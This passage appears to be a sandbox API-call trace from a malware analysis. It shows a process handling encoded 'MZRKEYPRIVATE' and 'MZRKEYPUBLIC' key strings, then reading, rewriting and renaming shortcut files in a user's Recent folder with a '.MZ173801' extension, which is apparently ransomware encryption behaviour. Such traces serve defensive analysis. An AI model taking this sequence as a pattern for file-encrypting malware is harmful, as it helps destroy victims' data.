lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.371] GetCurrentThreadId () returned 0xab4 [0148.371] GetCurrentThreadId () returned 0xab4 [0148.371] GetCurrentThreadId () returned 0xab4 [0148.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.372] GetCurrentThreadId () returned 0xab4 [0148.372] GetCurrentThreadId () returned 0xab4 [0148.372] GetCurrentThreadId () returned 0xab4 [0148.372] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JsYf-A6h4Bx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jsyf-a6h4bx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.373] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.373] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.373] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x477 [0148.373] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.373] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x477, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x477, lpOverlapped=0x0) returned 1 [0148.374] CloseHandle (hObject=0x280) returned 1 [0148.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JsYf-A6h4Bx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jsyf-a6h4bx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.375] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x477, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x477, lpOverlapped=0x0) returned 1 [0148.376] CloseHandle (hObject=0x280) returned 1 [0148.379] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JsYf-A6h4Bx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jsyf-a6h4bx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JsYf-A6h4Bx.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jsyf-a6h4bx.lnk.mz173801")) returned 1 [0148.383] GetCurrentThreadId () returned 0xab4 [0148.383] GetCurrentThreadId () returned 0xab4 [0148.383] GetCurrentThreadId () returned 0xab4 [0148.383] GetCurrentThreadId () returned 0xab4 [0148.383] GetCurrentThreadId () returned 0xab4 [0148.383] GetCurrentThreadId () returned 0xab4 [0148.383] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2608ec, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e2608ec, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e261c7a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="jZEwhVWt50V33_ 5Cs5n.lnk", cAlternateFileName="JZEWHV~1.LNK")) returned 1 [0148.383] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.383] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.383] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jZEwhVWt50V33_ 5Cs5n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzewhvwt50v33_ 5cs5n.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e2608ec, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e2608ec, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e261c7a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40d)) returned 1 [0148.383] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jZEwhVWt50V33_ 5Cs5n.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jzewhvwt50v33_ 5cs5n.lnk")) returned 0x20 [0148.383] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jZEwhVWt50V33_ 5Cs5n.lnk", dwFileAttributes=0x80) returned 1 [0148.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 